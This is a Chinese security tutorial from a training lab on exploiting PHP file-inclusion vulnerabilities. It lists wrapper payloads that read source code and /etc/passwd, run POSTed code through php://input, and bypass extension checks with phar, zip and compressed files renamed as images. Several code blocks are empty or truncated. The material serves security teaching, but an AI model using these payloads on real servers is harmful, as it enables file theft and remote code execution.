作者:Qftm 合天智匯
前言
這個手冊主要是記錄針對PHP文件包含漏洞的利用思路與Bypass手法的總結。
相關函數
四個函數
php中引發文件包含漏洞的通常主要是以下四個函數:
1、include()
<code>http://www.php.net/manual/en/function.include.php/<code>
2、include_once()
<code>http://php.net/manual/en/function.include-once.php/<code>
3、require()
<code>http://php.net/manual/en/function.require.php/<code>
4、require_once()
<code>http://php.net/manual/en/function.require-once.php/<code>
函數功能
當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),都會直接作為php文件進行解析。
函數差異
include()
include() 函數包含出錯的話,只會提出警告,不會影響後續語句的執行
require()
require() 函數包含出錯的話,則會直接退出,後續語句不在執行
include_once() 和 require_once()
require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。
二次包含
一次包含
漏洞原因
文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致執行了非預期的代碼。
漏洞分類
LFI
LFI本地文件包含漏洞主要是包含本地服務器上存儲的一些文件,例如session文件、日誌文件、臨時文件等。同時藉助此漏洞也可以查看服務器上的一些重要文件。但是,只有我們能夠控制包含的文件存儲我們的惡意代碼才能拿到服務器權限。
例如本地讀取/etc/passwd系統重要文件
RFI
RFI(Remote File Inclusion) 遠程文件包含漏洞。是指能夠包含遠程服務器上的文件並執行。由於遠程服務器的文件是我們可控的,因此漏洞一旦存在危害性會很大。 但RFI的利用條件較為苛刻,需要php.ini中進行配置
<code>allow_url_fopen = On allow_url_include = On allow_url_fopen = On/<code>
該選項為on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。
<code>allow_url_include:On/<code>
該選項為on便是允許 包含URL 對象文件等。
兩個配置選項均需要為On,才能遠程包含文件成功
<code>修改php.ini/<code>
在php.ini中,allow_url_fopen默認一直是On,而allow_url_include從php5.2之後就默認為Off。
php5.5.9 -> php.ini
包含姿勢
php偽協議
PHP 帶有很多內置 URL 風格的封裝協議,可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數。 除了這些封裝協議,還能通過 stream_wrapper_register() 來註冊自定義的封裝協議。
<code>file:// — 訪問本地文件系統 http:// — 訪問 HTTP(s) 網址 ftp:// — 訪問 FTP(s) URLs php:// — 訪問各個輸入/輸出流(I/O streams) zlib:// — 壓縮流 data:// — 數據(RFC 2397) glob:// — 查找匹配的文件路徑模式 phar:// — PHP 歸檔 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音頻流 expect:// — 處理交互式的流/<code>
可以在phpinfo中的Registered PHP Streams中找到可使用的協議。
下面測試代碼均為:
<code>/<code>
若有特殊案例,會聲明。
php.ini
<code>allow_url_fopen 默認為 On allow_url_include 默認為 Off/<code>
若有特殊要求,會在利用條件裡指出。
php://filter
php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。
參數
過濾器列表
- 字符串過濾器
- string.strip_tags
- 轉換過濾器
- 壓縮過濾器
- 加密過濾器
<code>可用過濾器列表:https://www.php.net/manual/zh/filters.php/<code>
利用條件:無
利用姿勢1:
<code>index.php?file=php://filter/read=convert.base64-encode/resource=index.php/<code>
通過指定末尾的文件,可以讀取經base64加密後的文件源碼,之後再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感文件危害也是挺大的。同時也能夠對網站源碼進行審計。
利用姿勢2:
<code>/<code>
效果跟前面一樣,只是少了個read關鍵字,在繞過一些waf時也許有用。
file://
專們用於訪問本地文件系統和php://filter類似都可以對本地文件進行讀取
用法:
<code>/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext ?file=file://[文件的絕對路徑+文件名]/<code>
利用條件:無
利用姿勢:
<code>index.php?file=file:///etc/passwd/<code>
php://input
php://input是個可以訪問請求的原始數據的只讀流,將post請求中的數據作為PHP代碼執行。
利用條件:
<code>allow_url_include = On allow_url_fopen = On/Off/<code>
利用姿勢:
<code>index.php?file=php://input POST: / phpinfo();?>/<code>
也可以使用burpsuite或curl進行利用
<code>curl -v "http://127.0.0.1/FI/index.php?file=php://input" -d ""/<code>
Getshell
<code>POST: ');?>/<code>
file_get_contents()的利用
file_get_contents()函數將整個文件讀入一個字符串中
測試代碼
<code>/<code>
利用條件:無
利用姿勢:
<code>file_get.php?file=php://input POST: Qftm/<code>
php://input可以訪問請求的原始數據的只讀流。即可以直接讀取到POST上沒有經過解析的原始數據。 enctype=”multipart/form-data” 的時候 php://input 是無效的。
phar://
phar:// 支持zip、phar格式的文件包含。
- zip
用法:
?file=phar://[壓縮包文件相對路徑]/[壓縮文件內的子文件名] ?file=phar://[壓縮包文件絕對路徑]/[壓縮文件內的子文件名]
利用條件:php >= 5.3.0
利用姿勢1:
配合文件上傳漏洞,當僅可以上傳zip格式時
<code>index.php?file=phar://index.zip/index.txt index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/index.zip/index.txt/<code>
新建index.txt,使用zip格式壓縮 -> index.zip
利用姿勢2:
配合文件上傳漏洞,當僅可以上傳圖片格式時
針對phar://不管後綴是什麼,都會當做壓縮包來解壓。
<code>index.php?file=phar://head.png/head.txt index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png/head.txt/<code>
將做好的zip後綴改為png格式
- phar
phar文件本質上是也一種壓縮文件。
用法:
<code>?file=phar://[壓縮包文件相對路徑]/[壓縮文件內的子文件名] ? file=phar://[壓縮包文件絕對路徑]/[壓縮文件內的子文件名]/<code>
製作phar文件:
製作包含惡意代碼文件的phar文件
(1)確保本地php.ini中phar.readonly=Off
(2)編寫惡意phar文件的php腳本
<code>?php @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub(""); //設置stub $phar->addFromString("head.txt", ""); //添加要壓縮的文件及內容 //簽名自動計算 $phar->stopBuffering(); ?>/<code>
(3)生成phar文件
<code>addFromString('testfile.txt', ''); ?>/<code>
利用條件:php >= 5.3.0
利用姿勢1 :
<code>index.php?file=phar://phar.phar/head.txt index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/phar.phar/head.txt/<code>
利用姿勢2:
<code>index.php?file=phar://phar.png/head.txt index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/phar.png/head.txt/<code>
利用協議特性,更改後綴文件可適當繞過一些限制
zip://
`zip協議`和`phar協議`類似,都支持`相對路徑`和`絕對路徑`(幾乎網上所有人都說`zip協議`不支持`相對路徑`,事實上是可以!!!) 在`php version 5.2.9`時已經修復`zip://`相對路徑問題
使用zip協議,需將`#`編碼為`%23`(瀏覽器時)
用法:
<code>?file=zip://[壓縮包文件相對路徑]#[壓縮文件內的子文件名] ?file=zip://[壓縮包文件絕對路徑]#[壓縮文件內的子文件名]/<code>
利用條件:php >= 5.2(絕對路徑) | php >= 5.29(相對/絕對路徑) 利用姿勢1:
<code>index.php?file=zip://head.zip%23head.txt index.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.zip%23head.txt/<code>
利用姿勢2:
針對`zip://`不管後綴是什麼,都會當做壓縮包來解壓,可以適當的繞過一些限制。
<code>index.php?file=zip://head.png%23head.txt index.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png%23head.txt/<code>
相對路徑 `php5.3.29 windows`
`php5.5.9 windows`
`5.4.16 Linux Centos7`
絕對路徑
`windwos`
`Linux Centos7`
bzip2://
用法:
<code>?file=compress.bzip2://[壓縮包文件相對路徑] ?file=compress.bzip2://[壓縮包文件絕對路徑]/<code>
利用條件:php >= 5.2
利用姿勢1:
<code>index.php?file=compress.bzip2://head.bz2 index.php?file=compress.bzip2://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.bz2/<code>
相對路徑
絕對路徑
利用姿勢2:
利用協議特性,更改後綴文件可適當繞過一些限制
<code>index.php?file=compress.bzip2://head.jpg index.php?file=compress.bzip2://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.jpg/<code>
zlib://
用法:
<code>?file=compress.zlib://[壓縮包文件相對路徑] ?file=compress.zlib://[壓縮包文件絕對路徑]/<code>
利用條件:php >= 5.2
利用姿勢1:
<code>index.php?file=compress.zlib://head.gz index.php?file=compress.zlib://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.gz/<code>
相對路徑
絕對路徑
利用姿勢2: 利用協議特性,更改後綴文件可適當繞過一些限制
<code>index.php?file=compress.zlib://head.jpg index.php?file=compress.zlib://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.jpg/<code>
data://
數據流封裝器,和php://相似都是利用了流的概念
用法 :
<code>data:, data:text/plain, data:text/html, data:text/html;base64, data:text/css, data:text/css;base64, data:text/javascript, data:text/javascript;base64, data:image/gif;base64,base64編碼的gif圖片數據 data:image/png;base64,base64編碼的png圖片數據 data:image/jpeg;base64,base64編碼的jpeg圖片數據 data:image/x-icon;base64,base64編碼的icon圖片數據/<code>
利用條件:
<code>php >= 5.2 allow_url_fopen = On allow_url_include = On/<code>
利用姿勢1:
<code>index.php?file=data:text/plain, index.php?file=data://text/plain, ```/<code>
......未完待續
實驗推薦:文件包含漏洞-中級篇
http://hetianlab.com/expc.do?ce=364ed95b-3c22-4556-b658-85d4768a0a48
(介紹文件包含時繞過限制的原理,以及介紹利用文件包含漏洞讀取源碼的原理。)
聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!